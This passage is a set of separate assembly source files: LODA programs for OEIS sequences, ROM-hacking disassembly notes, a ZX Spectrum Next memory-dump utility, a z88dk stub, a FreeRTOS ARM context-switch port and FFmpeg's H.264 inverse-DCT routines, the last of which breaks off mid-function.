mov $2,$0
mov $4,$0
lpb $0
mov $0,3
mul $0,$2
mov $2,$0
add $0,1
mov $6,$2
add $2,3
add $3,$6
add $6,$2
div $2,$6
add $2,$3
mod $2,10
add $2,3
sub $2,$0
sub $0,$2
div $0,10
lpe
mov $1,$0
add $1,1
mov $5,$4
mul $5,4
add $1,$5
|
copyright zengfr site:http://github.com/zengfr/romhack
006624 tst.b ($7f,A1)
006628 bne $667c
0066E8 move.b #$1, ($7f,A0) [123p+ 76]
0066EE move.w A6, ($76,A0) [enemy+7F]
03BCDA tst.b ($7f,A6)
03BCDE bne $3be00 [enemy+7F]
03C91A clr.b ($7f,A6) [enemy+7E]
03C91E move.l #$2000000, ($4,A6)
copyright zengfr site:http://github.com/zengfr/romhack
|
; A002054: Binomial coefficient C(2n+1, n-1).
; 1,5,21,84,330,1287,5005,19448,75582,293930,1144066,4457400,17383860,67863915,265182525,1037158320,4059928950,15905368710,62359143990,244662670200,960566918220,3773655750150,14833897694226,58343356817424,229591913401900,903936161908052,3560597348629860
mov $1,3
add $1,$0
add $1,$0
bin $1,$0
|
;
; Vypis pameti na obrazovku
; =========================
;
; Naprogramoval: Shrek/MB Maniax
; Assembler: Odin/ZX Spectrum Next
; 2021
ORG $,$2000
start
LD A,H
OR L
CALL Z,nastav_konec
PUSH HL
CALL maketab
POP HL
CALL vypocitej_adresu2
LD (adresa_arg),HL
LD HL,$4000
LD DE,$4001
LD BC,$17ff
XOR A
LD (HL),A
LDIR
CALL iniroll
warm_reset
LD HL,2*256
LD (X4b),HL
LD HL,0
CALL pozice
LD HL,title
CALL print
; OPT pause
CALL enter
; LD HL,podtrh
; CALL print
; CALL enter
LD HL,empty
CALL print
CALL enter
LD A,(konec)
OR A
JP NZ,noargs
LD HL,(adresa_arg)
CALL adresa
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
CALL adresa1
LD H,0
LD L,21
CALL pozice
; LD HL,bottom
; CALL print
JP loop0
horni_adr DEFW 0
dolni_adr DEFW 0
jetext DEFB 0
font4 DEFB 0
loop4b PUSH HL
LD HL,tabvram + 16
LD B,192-16
cisti
PUSH BC
PUSH HL
LD A,(HL)
INC HL
LD H,(HL)
LD L,A
LD E,L
LD D,H
INC DE
XOR A
LD (HL),A
LD BC,31
LDIR
POP HL
POP BC
LD DE,2
ADD HL,DE
DJNZ cisti
LD HL,22528+32*2
LD DE,22529+32*2
LD BC,32
LD A,%00111000
LD (HL),A
LDIR
LD A,(soustava)
CP 16
POP HL
loop4a
PUSH HL
CALL print_number
LD HL,(X4b)
LD A,":"
CALL CHAR4b
LD HL,X4b
INC (HL)
LD A," "
LD HL,(X4b)
CALL CHAR4b
LD HL,X4b
INC (HL)
POP HL
LD A,(jetext)
CP "t"
JP Z,text_mode4
PUSH HL
pocb LD B,16
pocet_bytu4
PUSH BC
PUSH HL
LD A,(HL)
LD L,A
LD H,0
CALL decimal3
LD HL,X4b
LD A,(soustava)
CP 16
JR NZ,bbb
LD A,(pocitadlo)
OR A
JR Z,bez_mezery
INC (HL)
LD A,255
LD (pocitadlo),A
bez_mezery
LD HL,pocitadlo
bbb INC (HL)
POP HL
INC HL
POP BC
DJNZ pocet_bytu4
LD HL,X4b
INC (HL)
POP HL
LD A,(pocb+1)
LD B,A
pocet_bytu5
PUSH BC
PUSH HL
LD A,(HL)
CP 32
JR C,tecka4
CP "z"
JR NC,tecka4
JR netecka4
tecka4 LD A,"."
netecka4
LD HL,(X4b)
CALL CHAR4b
LD HL,X4b
INC (HL)
POP HL
POP BC
INC HL
DJNZ pocet_bytu5
PUSH HL
LD HL,X4b+1 ;ENTER
INC (HL)
XOR A
LD (X4b),A
POP HL
RET
podbarvi
LD HL,22528+32*2
LD B,19
pod0
PUSH BC
LD HL,attr16
pod LD DE,22528+32*2
LD BC,19
LDIR
POP BC
LD HL,(pod+1)
LD DE,32
ADD HL,DE
LD (pod+1),HL
DJNZ pod0
RET
pocitadlo NOP
attr16
DB %00111000
DB %00111000
DB %00111000
DB %01111000,%00111000
DB %01111000,%00111000
DB %01111000,%00111000
DB %01111000,%00111000
DB %01111000,%00111000
DB %01111000,%00111000
DB %01111000,%00111000
DB %01111000,%00111000
adresa
LD HL,22528+32*2
LD DE,22529+32*2
LD A,%00111000
LD BC,32
LD (HL),A
LDIR
LD HL,(adresa_arg)
LD A,(font4)
OR A
JP NZ,loop4b
adresa1
LD A,(font4)
OR A
JP NZ,loop4a
loop
PUSH HL
CALL print_number
LD A,"|"
CALL print_char
POP HL
LD A,(jetext)
CP "t"
JP Z,text_mode
PUSH HL
LD B,5 ;pocet adres na radek
loop_radek
PUSH BC
LD A,(HL) ;v reg A se nachazi hodnota
PUSH HL
LD L,A
LD H,0
CALL decimal3 ;vytiskni obsah pameti
LD A,32
CALL print_char ;vytiskni mezeru mezi cisly
POP HL
POP BC
INC HL
DJNZ loop_radek
POP HL ;obnovime pocatek vypisu a vypiseme znaky
LD B,5
loop_znaky
LD A,(HL)
CP 32
JR C,tecka
CP "z"
JR NC,tecka
JR netecka
tecka LD A,"." ;zastupny symbol pro netisknutellne znaky
netecka
PUSH HL
CALL print_char
POP HL
INC HL
DJNZ loop_znaky
PUSH HL
LD A,(jetext)
CP "t"
JR Z,nemez
LD A,(Y)
OR A
LD A,32
CALL NZ,print_char
nemez
CALL enter
POP HL
RET
text_mode4
LD B,57
JP pocet_bytu5
text_mode
LD B,26
JP loop_znaky
loop0
CALL inkey
CP 10
JP Z,nahoru
CP 11
JP Z,dolu
CP "h"
JP Z,hexa
CP 9
JP Z,leva
CP 8
JP Z,prava
CP "d"
JP Z,deca
CP 13
JP Z,show_help
CP 32
JP Z,change_font
CP "m"
JP Z,memory
CP "t"
JP Z,to_text_mode
CP "q"
RET Z
JR loop0
memory
HALT
HALT
HALT
HALT
LD A,32
LD (v1+1),A
LD A,24
LD (v2+1),A
LD (v3+1),A
CALL menu
LD A,130
LD (v1+1),A
LD A,122
LD (v2+1),A
LD (v3+1),A
LD HL,16*256+6
CALL pozice
LD HL,memory_txt
CALL print
LD IXH,10
LD HL,32*256+6
LD A,4
LD (bh+1),A
CALL INPUT
LD A,1
LD (bh+1),A
LD HL,23296
CALL vypocitej_adresu2
LD (adresa_arg),HL
JP warm_reset
to_text_mode
LD (jetext),A
JP warm_reset
change_font
LD A,(font4)
XOR 1
LD (font4),A
LD A,(soustava)
CP 10
JR Z,nastav104
CP 16
JR Z,nastav164
JP warm_reset
nastav164
LD A,16
nnn LD (pocb+1),A
JP warm_reset
nastav104
LD A,10
JR nnn
show_help
CALL menu
LD HL,16*256+6
CALL pozice
LD HL,title_help
CALL print
LD HL,32 * 256 + 6
CALL pozice
LD HL,con1
CALL print
LD HL,40 * 256 + 06
CALL pozice
LD HL,con4
CALL print
LD HL,48*256+6
CALL pozice
LD HL,con9
CALL print
LD HL,64 * 256 + 6
CALL pozice
LD HL,con3
CALL print
LD HL,72 * 256 + 6
CALL pozice
LD HL,con2
CALL print
LD HL,80*256+6
CALL pozice
LD HL,con8
CALL print
LD HL,88*256+6
CALL pozice
LD HL,con7
CALL print
LD HL,96*256+6
CALL pozice
LD HL,con10
CALL print
LD HL,112 * 256 + 6
CALL pozice
LD HL,con5
CALL print
LD HL,128 * 256 + 6
CALL pozice
LD HL,con6
CALL print
CALL inkey
LD HL,22528 + 32*2
LD DE,22529 + 32*2
LD A,%00111111
LD (HL),A
LD BC,31
LDIR
JP warm_reset
leva LD HL,(adresa_arg)
LD DE,256
ADD HL,DE
LD (adresa_arg),HL
JP warm_reset
prava
LD HL,(adresa_arg)
LD DE,256
OR A
SBC HL,DE
LD (adresa_arg),HL
JP warm_reset
hexa
LD (jetext),A
LD A,16
LD (soustava),A
LD A,16
LD (pocb+1),A
JP warm_reset
deca LD (jetext),A
LD A,10
LD (soustava),A
LD A,10
LD (pocb+1),A
JP warm_reset
soustava
DEFB 10
nastav_konec
LD A,1
LD (konec),A
RET
konec DEFB 0
nahoru
CALL rollup
LD HL,22*256
LD (X4b),HL
LD HL,176*256+0
CALL pozice
LD HL,(adresa_arg)
CALL narustek
ADD HL,DE
LD (adresa_arg),HL
patch ;patch od ub880d - chyba listovani smerem
LD A,(font4) ;nahoru
OR A
JR NZ,patch_condensed
LD A,(jetext)
LD DE,520
CP "t"
JR Z,patch_finish
LD DE,100
JR patch_finish
patch_condensed
LD A,(jetext)
LD DE,1160
CP "t"
JR Z,patch_finish
LD DE,200
CP "d"
JR Z,patch_finish
LD DE,320
patch_finish
ADD HL,DE
CALL adresa1
JP loop0
dolu
CALL rolldown
LD HL,2*256
LD (X4b),HL
LD HL,16*256+0
CALL pozice
LD HL,(adresa_arg)
CALL narustek
OR A
SBC HL,DE
LD (adresa_arg),HL
CALL adresa1
JP loop0
;vrati v de
narustek
LD A,(font4)
OR A
JR NZ,narustek4
;8bitovy font
LD A,(jetext)
LD DE,26
CP "t"
RET Z
LD DE,5
RET
narustek4
LD A,(jetext)
CP "t"
LD DE,58
RET Z
LD A,(soustava)
LD E,A
LD D,0
RET
cekej XOR A
IN A,(254)
CPL
AND 31
JR Z,cekej
RET
noargs CALL enter
LD HL,help
CALL print
CALL enter
LD HL,help1
CALL print
CALL enter
LD HL,help11
CALL print
CALL enter
LD HL,help12
CALL print
CALL enter
LD HL,help13
CALL print
CALL enter
CALL enter
LD HL,help2
CALL print
RET
maketab
PUSH IX
LD HL,16384
LD IX,tabvram
LD B,192
maketab2
LD (IX+0),L
INC IX
LD (IX+0),H
INC IX
CALL downhl
DJNZ maketab2
POP IX
RET
print LD A,(HL)
OR A
RET Z
CALL print_char
INC HL
JR print
INCLUDE "print_number.odn"
INCLUDE "argument.odn"
INCLUDE "texty.odn"
INCLUDE "inkey.odn"
; INCLUDE "help_menu.odn"
INCLUDE "print4b.odn"
INCLUDE "scroll.odn"
INCLUDE "input.odn"
konec_source
ddd EQU $-start
SAVE "/dot/memdump",$8000,$2000
|
; A138830: Bisection of imperfect numbers A132999.
; 2,4,7,9,11,13,15,17,19,21,23,25,27,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110,112,114,116,118
mul $0,4
mov $2,$0
sub $2,1
lpb $2
add $0,2
div $2,7
lpe
mov $1,$0
div $1,2
add $1,1
|
; void *tshc_saddrcdown(void *saddr)
SECTION code_clib
SECTION code_arch
PUBLIC tshc_saddrcdown
EXTERN zx_saddrcdown
defc tshc_saddrcdown = zx_saddrcdown
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _tshc_saddrcdown
defc _tshc_saddrcdown = tshc_saddrcdown
ENDIF
|
;/*
; * FreeRTOS Kernel V10.4.1
; * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
; *
; * Permission is hereby granted, free of charge, to any person obtaining a copy of
; * this software and associated documentation files (the "Software"), to deal in
; * the Software without restriction, including without limitation the rights to
; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
; * the Software, and to permit persons to whom the Software is furnished to do so,
; * subject to the following conditions:
; *
; * The above copyright notice and this permission notice shall be included in all
; * copies or substantial portions of the Software.
; *
; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; *
; * https://www.FreeRTOS.org
; * https://github.com/FreeRTOS
; *
; * 1 tab == 4 spaces!
; */
.text
.arm
.ref vTaskSwitchContext
.ref xTaskIncrementTick
.ref ulTaskHasFPUContext
.ref pxCurrentTCB
;/*-----------------------------------------------------------*/
;
; Save Task Context
;
portSAVE_CONTEXT .macro
DSB
; Push R0 as we are going to use it
STMDB SP!, {R0}
; Set R0 to point to the task stack pointer.
STMDB SP,{SP}^
SUB SP, SP, #4
LDMIA SP!,{R0}
; Push the return address onto the stack.
STMDB R0!, {LR}
; Now LR has been saved, it can be used instead of R0.
MOV LR, R0
; Pop R0 so it can be saved onto the task stack.
LDMIA SP!, {R0}
; Push all the system mode registers onto the task stack.
STMDB LR,{R0-LR}^
SUB LR, LR, #60
; Push the SPSR onto the task stack.
MRS R0, SPSR
STMDB LR!, {R0}
.if (__TI_VFP_SUPPORT__)
;Determine if the task maintains an FPU context.
LDR R0, ulFPUContextConst
LDR R0, [R0]
; Test the flag
CMP R0, #0
; If the task is not using a floating point context then skip the
; saving of the FPU registers.
BEQ $+16
FSTMDBD LR!, {D0-D15}
FMRX R1, FPSCR
STMFD LR!, {R1}
; Save the flag
STMDB LR!, {R0}
.endif
; Store the new top of stack for the task.
LDR R0, pxCurrentTCBConst
LDR R0, [R0]
STR LR, [R0]
.endm
;/*-----------------------------------------------------------*/
;
; Restore Task Context
;
portRESTORE_CONTEXT .macro
LDR R0, pxCurrentTCBConst
LDR R0, [R0]
LDR LR, [R0]
.if (__TI_VFP_SUPPORT__)
; The floating point context flag is the first thing on the stack.
LDR R0, ulFPUContextConst
LDMFD LR!, {R1}
STR R1, [R0]
; Test the flag
CMP R1, #0
; If the task is not using a floating point context then skip the
; VFP register loads.
BEQ $+16
; Restore the floating point context.
LDMFD LR!, {R0}
FLDMIAD LR!, {D0-D15}
FMXR FPSCR, R0
.endif
; Get the SPSR from the stack.
LDMFD LR!, {R0}
MSR SPSR_CSXF, R0
; Restore all system mode registers for the task.
LDMFD LR, {R0-R14}^
; Restore the return address.
LDR LR, [LR, #+60]
; And return - correcting the offset in the LR to obtain the
; correct address.
SUBS PC, LR, #4
.endm
;/*-----------------------------------------------------------*/
; Start the first task by restoring its context.
.def vPortStartFirstTask
vPortStartFirstTask:
portRESTORE_CONTEXT
;/*-----------------------------------------------------------*/
; Yield to another task.
.def vPortYieldProcessor
vPortYieldProcessor:
; Within an IRQ ISR the link register has an offset from the true return
; address. SWI doesn't do this. Add the offset manually so the ISR
; return code can be used.
ADD LR, LR, #4
; First save the context of the current task.
portSAVE_CONTEXT
; Select the next task to execute. */
BL vTaskSwitchContext
; Restore the context of the task selected to execute.
portRESTORE_CONTEXT
;/*-----------------------------------------------------------*/
; Yield to another task from within the FreeRTOS API
.def vPortYeildWithinAPI
vPortYeildWithinAPI:
; Save the context of the current task.
portSAVE_CONTEXT
; Clear SSI flag.
MOVW R0, #0xFFF4
MOVT R0, #0xFFFF
LDR R0, [R0]
; Select the next task to execute. */
BL vTaskSwitchContext
; Restore the context of the task selected to execute.
portRESTORE_CONTEXT
;/*-----------------------------------------------------------*/
; Preemptive Tick
.def vPortPreemptiveTick
vPortPreemptiveTick:
; Save the context of the current task.
portSAVE_CONTEXT
; Clear interrupt flag
MOVW R0, #0xFC88
MOVT R0, #0xFFFF
MOV R1, #1
STR R1, [R0]
; Increment the tick count, making any adjustments to the blocked lists
; that may be necessary.
BL xTaskIncrementTick
; Select the next task to execute.
CMP R0, #0
BLNE vTaskSwitchContext
; Restore the context of the task selected to execute.
portRESTORE_CONTEXT
;-------------------------------------------------------------------------------
.if (__TI_VFP_SUPPORT__)
.def vPortInitialiseFPSCR
vPortInitialiseFPSCR:
MOV R0, #0
FMXR FPSCR, R0
BX LR
.endif ;__TI_VFP_SUPPORT__
pxCurrentTCBConst .word pxCurrentTCB
ulFPUContextConst .word ulTaskHasFPUContext
;-------------------------------------------------------------------------------
|
;*****************************************************************************
;* MMX/SSE2-optimized H.264 iDCT
;*****************************************************************************
;* Copyright (C) 2004-2005 Michael Niedermayer, Loren Merritt
;* Copyright (C) 2003-2008 x264 project
;*
;* Authors: Laurent Aimar <fenrir@via.ecp.fr>
;* Loren Merritt <lorenm@u.washington.edu>
;* Holger Lubitz <hal@duncan.ol.sub.de>
;* Min Chen <chenm001.163.com>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;*****************************************************************************
%include "x86inc.asm"
%include "x86util.asm"
SECTION_RODATA
; FIXME this table is a duplicate from h264data.h, and will be removed once the tables from, h264 have been split
scan8_mem: db 4+ 1*8, 5+ 1*8, 4+ 2*8, 5+ 2*8
db 6+ 1*8, 7+ 1*8, 6+ 2*8, 7+ 2*8
db 4+ 3*8, 5+ 3*8, 4+ 4*8, 5+ 4*8
db 6+ 3*8, 7+ 3*8, 6+ 4*8, 7+ 4*8
db 4+ 6*8, 5+ 6*8, 4+ 7*8, 5+ 7*8
db 6+ 6*8, 7+ 6*8, 6+ 7*8, 7+ 7*8
db 4+ 8*8, 5+ 8*8, 4+ 9*8, 5+ 9*8
db 6+ 8*8, 7+ 8*8, 6+ 9*8, 7+ 9*8
db 4+11*8, 5+11*8, 4+12*8, 5+12*8
db 6+11*8, 7+11*8, 6+12*8, 7+12*8
db 4+13*8, 5+13*8, 4+14*8, 5+14*8
db 6+13*8, 7+13*8, 6+14*8, 7+14*8
%ifdef PIC
%define scan8 r11
%else
%define scan8 scan8_mem
%endif
cextern pw_32
cextern pw_1
SECTION .text
; %1=uint8_t *dst, %2=int16_t *block, %3=int stride
%macro IDCT4_ADD 3
; Load dct coeffs
movq m0, [%2]
movq m1, [%2+8]
movq m2, [%2+16]
movq m3, [%2+24]
IDCT4_1D w, 0, 1, 2, 3, 4, 5
mova m6, [pw_32]
TRANSPOSE4x4W 0, 1, 2, 3, 4
paddw m0, m6
IDCT4_1D w, 0, 1, 2, 3, 4, 5
pxor m7, m7
STORE_DIFFx2 m0, m1, m4, m5, m7, 6, %1, %3
lea %1, [%1+%3*2]
STORE_DIFFx2 m2, m3, m4, m5, m7, 6, %1, %3
%endmacro
INIT_MMX
; ff_h264_idct_add_mmx(uint8_t *dst, int16_t *block, int stride)
cglobal h264_idct_add_8_mmx, 3, 3, 0
IDCT4_ADD r0, r1, r2
RET
%macro IDCT8_1D 2
mova m4, m5
mova m0, m1
psraw m4, 1
psraw m1, 1
paddw m4, m5
paddw m1, m0
paddw m4, m7
paddw m1, m5
psubw m4, m0
paddw m1, m3
psubw m0, m3
psubw m5, m3
paddw m0, m7
psubw m5, m7
psraw m3, 1
psraw m7, 1
psubw m0, m3
psubw m5, m7
mova m3, m4
mova m7, m1
psraw m1, 2
psraw m3, 2
paddw m3, m0
psraw m0, 2
paddw m1, m5
psraw m5, 2
psubw m0, m4
psubw m7, m5
mova m4, m2
mova m5, m6
psraw m4, 1
psraw m6, 1
psubw m4, m5
paddw m6, m2
mova m2, %1
mova m5, %2
SUMSUB_BA w, 5, 2
SUMSUB_BA w, 6, 5
SUMSUB_BA w, 4, 2
SUMSUB_BA w, 7, 6
SUMSUB_BA w, 0, 4
SUMSUB_BA w, 3, 2
SUMSUB_BA w, 1, 5
SWAP 7, 6, 4, 5, 2, 3, 1, 0 ; 70315246 -> 01234567
%endmacro
%macro IDCT8_1D_FULL 1
mova m7, [%1+112]
mova m6, [%1+ 96]
mova m5, [%1+ 80]
mova m3, [%1+ 48]
mova m2, [%1+ 32]
mova m1, [%1+ 16]
IDCT8_1D [%1], [%1+ 64]
%endmacro
; %1=int16_t *block, %2=int16_t *dstblock
%macro IDCT8_ADD_MMX_START 2
IDCT8_1D_FULL %1
mova [%1], m7
TRANSPOSE4x4W 0, 1, 2, 3, 7
mova m7, [%1]
mova [%2 ], m0
mova [%2+16], m1
mova [%2+32], m2
mova [%2+48], m3
TRANSPOSE4x4W 4, 5, 6, 7, 3
mova [%2+ 8], m4
mova [%2+24], m5
mova [%2+40], m6
mova [%2+56], m7
%endmacro
; %1=uint8_t *dst, %2=int16_t *block, %3=int stride
%macro IDCT8_ADD_MMX_END 3
IDCT8_1D_FULL %2
mova [%2 ], m5
mova [%2+16], m6
mova [%2+32], m7
pxor m7, m7
STORE_DIFFx2 m0, m1, m5, m6, m7, 6, %1, %3
lea %1, [%1+%3*2]
STORE_DIFFx2 m2, m3, m5, m6, m7, 6, %1, %3
mova m0, [%2 ]
mova m1, [%2+16]
mova m2, [%2+32]
lea %1, [%1+%3*2]
STORE_DIFFx2 m4, m0, m5, m6, m7, 6, %1, %3
lea %1, [%1+%3*2]
STORE_DIFFx2 m1, m2, m5, m6, m7, 6, %1, %3
%endmacro
INIT_MMX
; ff_h264_idct8_add_mmx(uint8_t *dst, int16_t *block, int stride)
cglobal h264_idct8_add_8_mmx, 3, 4, 0
%assign pad 128+4-(stack_offset&7)
SUB rsp, pad
add word [r1], 32
IDCT8_ADD_MMX_START r1 , rsp
IDCT8_ADD_MMX_START r1+8, rsp+64
lea r3, [r0+4]
IDCT8_ADD_MMX_END r0 , rsp, r2
IDCT8_ADD_MMX_END r3 , rsp+8, r2
ADD rsp, pad
RET
; %1=uint8_t *dst, %2=int16_t *block, %3=int stride
%macro IDCT8_ADD_SSE 4
IDCT8_1D_FULL %2
%ifdef ARCH_X86_64
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, 8
%else
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, [%2], [%2+16]
%endif
paddw m0, [pw_32]
%ifndef ARCH_X86_64
mova [%2 ], m0
mova [%2+16], m4
IDCT8_1D [%2], [%2+ 16]
mova [%2 ], m6
mova [%2+16], m7
%else
SWAP 0, 8
SWAP 4, 9
IDCT8_1D m8, m9
SWAP 6, 8
SWAP 7, 9
%endif
pxor m7, m7
lea %4, [%3*3]
STORE_DIFF m0, m6, m7, [%1 ]
STORE_DIFF m1, m6, m7, [%1+%3 ]
STORE_DIFF m2, m6, m7, [%1+%3*2]
STORE_DIFF m3, m6, m7, [%1+%4 ]
%ifndef ARCH_X86_64
mova m0, [%2 ]
mova m1, [%2+16]
%else
SWAP 0, 8
SWAP 1, 9
%endif
lea %1, [%1+%3*4]
STORE_DIFF m4, m6, m7, [%1 ]
STORE_DIFF m5, m6, m7, [%1+%3 ]
STORE_DIFF m0, m6, m7, [%1+%3*2]
STORE_DIFF m1, m6, m7, [%1+%4 ]
%endmacro
INIT_XMM
; ff_h264_idct8_add_sse2(uint8_t *dst, int16_t *block, int stride)
cglobal h264_idct8_add_8_sse2, 3, 4, 10
IDCT8_ADD_SSE r0, r1, r2, r3
RET
%macro DC_ADD_MMX2_INIT 2-3
%if %0 == 2
movsx %1, word [%1]
add %1, 32
sar %1, 6
movd m0, %1d
lea %1, [%2*3]
%else
add %3, 32
sar %3, 6
movd m0, %3d
lea %3, [%2*3]
%endif
pshufw m0, m0, 0
pxor m1, m1
psubw m1, m0
packuswb m0, m0
packuswb m1, m1
%endmacro
%macro DC_ADD_MMX2_OP 4
%1 m2, [%2 ]
%1 m3, [%2+%3 ]
%1 m4, [%2+%3*2]
%1 m5, [%2+%4 ]
paddusb m2, m0
paddusb m3, m0
paddusb m4, m0
paddusb m5, m0
psubusb m2, m1
psubusb m3, m1
psubusb m4, m1
psubusb m5, m1
%1 [%2 ], m2
%1 [%2+%3 ], m3
%1 [%2+%3*2], m4
%1 [%2+%4 ], m5
%endmacro
INIT_MMX
; ff_h264_idct_dc_add_mmx2(uint8_t *dst, int16_t *block, int stride)
cglobal h264_idct_dc_add_8_mmx2, 3, 3, 0
DC_ADD_MMX2_INIT r1, r2
DC_ADD_MMX2_OP movh, r0, r2, r1
RET
; ff_h264_idct8_dc_add_mmx2(uint8_t *dst, int16_t *block, int stride)
cglobal h264_idct8_dc_add_8_mmx2, 3, 3, 0
DC_ADD_MMX2_INIT r1, r2
DC_ADD_MMX2_OP mova, r0, r2, r1
lea r0, [r0+r2*4]
DC_ADD_MMX2_OP mova, r0, r2, r1
RET
; ff_h264_idct_add16_mmx(uint8_t *dst, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct_add16_8_mmx, 5, 7, 0
xor r5, r5
%ifdef PIC
lea r11, [scan8_mem]
%endif
.nextblock
movzx r6, byte [scan8+r5]
movzx r6, byte [r4+r6]
test r6, r6
jz .skipblock
mov r6d, dword [r1+r5*4]
lea r6, [r0+r6]
IDCT4_ADD r6, r2, r3
.skipblock
inc r5
add r2, 32
cmp r5, 16
jl .nextblock
REP_RET
; ff_h264_idct8_add4_mmx(uint8_t *dst, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct8_add4_8_mmx, 5, 7, 0
%assign pad 128+4-(stack_offset&7)
SUB rsp, pad
xor r5, r5
%ifdef PIC
lea r11, [scan8_mem]
%endif
.nextblock
movzx r6, byte [scan8+r5]
movzx r6, byte [r4+r6]
test r6, r6
jz .skipblock
mov r6d, dword [r1+r5*4]
lea r6, [r0+r6]
add word [r2], 32
IDCT8_ADD_MMX_START r2 , rsp
IDCT8_ADD_MMX_START r2+8, rsp+64
IDCT8_ADD_MMX_END r6 , rsp, r3
mov r6d, dword [r1+r5*4]
lea r6, [r0+r6+4]
IDCT8_ADD_MMX_END r6 , rsp+8, r3
.skipblock
add r5, 4
add r2, 128
cmp r5, 16
jl .nextblock
ADD rsp, pad
RET
; ff_h264_idct_add16_mmx2(uint8_t *dst, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct_add16_8_mmx2, 5, 7, 0
xor r5, r5
%ifdef PIC
lea r11, [scan8_mem]
%endif
.nextblock
movzx r6, byte [scan8+r5]
movzx r6, byte [r4+r6]
test r6, r6
jz .skipblock
cmp r6, 1
jnz .no_dc
movsx r6, word [r2]
test r6, r6
jz .no_dc
DC_ADD_MMX2_INIT r2, r3, r6
%ifdef ARCH_X86_64
%define dst_reg r10
%define dst_regd r10d
%else
%define dst_reg r1
%define dst_regd r1d
%endif
mov dst_regd, dword [r1+r5*4]
lea dst_reg, [r0+dst_reg]
DC_ADD_MMX2_OP movh, dst_reg, r3, r6
%ifndef ARCH_X86_64
mov r1, r1m
%endif
inc r5
add r2, 32
cmp r5, 16
jl .nextblock
REP_RET
.no_dc
mov r6d, dword [r1+r5*4]
lea r6, [r0+r6]
IDCT4_ADD r6, r2, r3
.skipblock
inc r5
add r2, 32
cmp r5, 16
jl .nextblock
REP_RET
; ff_h264_idct_add16intra_mmx(uint8_t *dst, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct_add16intra_8_mmx, 5, 7, 0
xor r5, r5
%ifdef PIC
lea r11, [scan8_mem]
%endif
.nextblock
movzx r6, byte [scan8+r5]
movzx r6, byte [r4+r6]
or r6w, word [r2]
test r6, r6
jz .skipblock
mov r6d, dword [r1+r5*4]
lea r6, [r0+r6]
IDCT4_ADD r6, r2, r3
.skipblock
inc r5
add r2, 32
cmp r5, 16
jl .nextblock
REP_RET
; ff_h264_idct_add16intra_mmx2(uint8_t *dst, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct_add16intra_8_mmx2, 5, 7, 0
xor r5, r5
%ifdef PIC
lea r11, [scan8_mem]
%endif
.nextblock
movzx r6, byte [scan8+r5]
movzx r6, byte [r4+r6]
test r6, r6
jz .try_dc
mov r6d, dword [r1+r5*4]
lea r6, [r0+r6]
IDCT4_ADD r6, r2, r3
inc r5
add r2, 32
cmp r5, 16
jl .nextblock
REP_RET
.try_dc
movsx r6, word [r2]
test r6, r6
jz .skipblock
DC_ADD_MMX2_INIT r2, r3, r6
%ifdef ARCH_X86_64
%define dst_reg r10
%define dst_regd r10d
%else
%define dst_reg r1
%define dst_regd r1d
%endif
mov dst_regd, dword [r1+r5*4]
lea dst_reg, [r0+dst_reg]
DC_ADD_MMX2_OP movh, dst_reg, r3, r6
%ifndef ARCH_X86_64
mov r1, r1m
%endif
.skipblock
inc r5
add r2, 32
cmp r5, 16
jl .nextblock
REP_RET
; ff_h264_idct8_add4_mmx2(uint8_t *dst, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct8_add4_8_mmx2, 5, 7, 0
%assign pad 128+4-(stack_offset&7)
SUB rsp, pad
xor r5, r5
%ifdef PIC
lea r11, [scan8_mem]
%endif
.nextblock
movzx r6, byte [scan8+r5]
movzx r6, byte [r4+r6]
test r6, r6
jz .skipblock
cmp r6, 1
jnz .no_dc
movsx r6, word [r2]
test r6, r6
jz .no_dc
DC_ADD_MMX2_INIT r2, r3, r6
%ifdef ARCH_X86_64
%define dst_reg r10
%define dst_regd r10d
%else
%define dst_reg r1
%define dst_regd r1d
%endif
mov dst_regd, dword [r1+r5*4]
lea dst_reg, [r0+dst_reg]
DC_ADD_MMX2_OP mova, dst_reg, r3, r6
lea dst_reg, [dst_reg+r3*4]
DC_ADD_MMX2_OP mova, dst_reg, r3, r6
%ifndef ARCH_X86_64
mov r1, r1m
%endif
add r5, 4
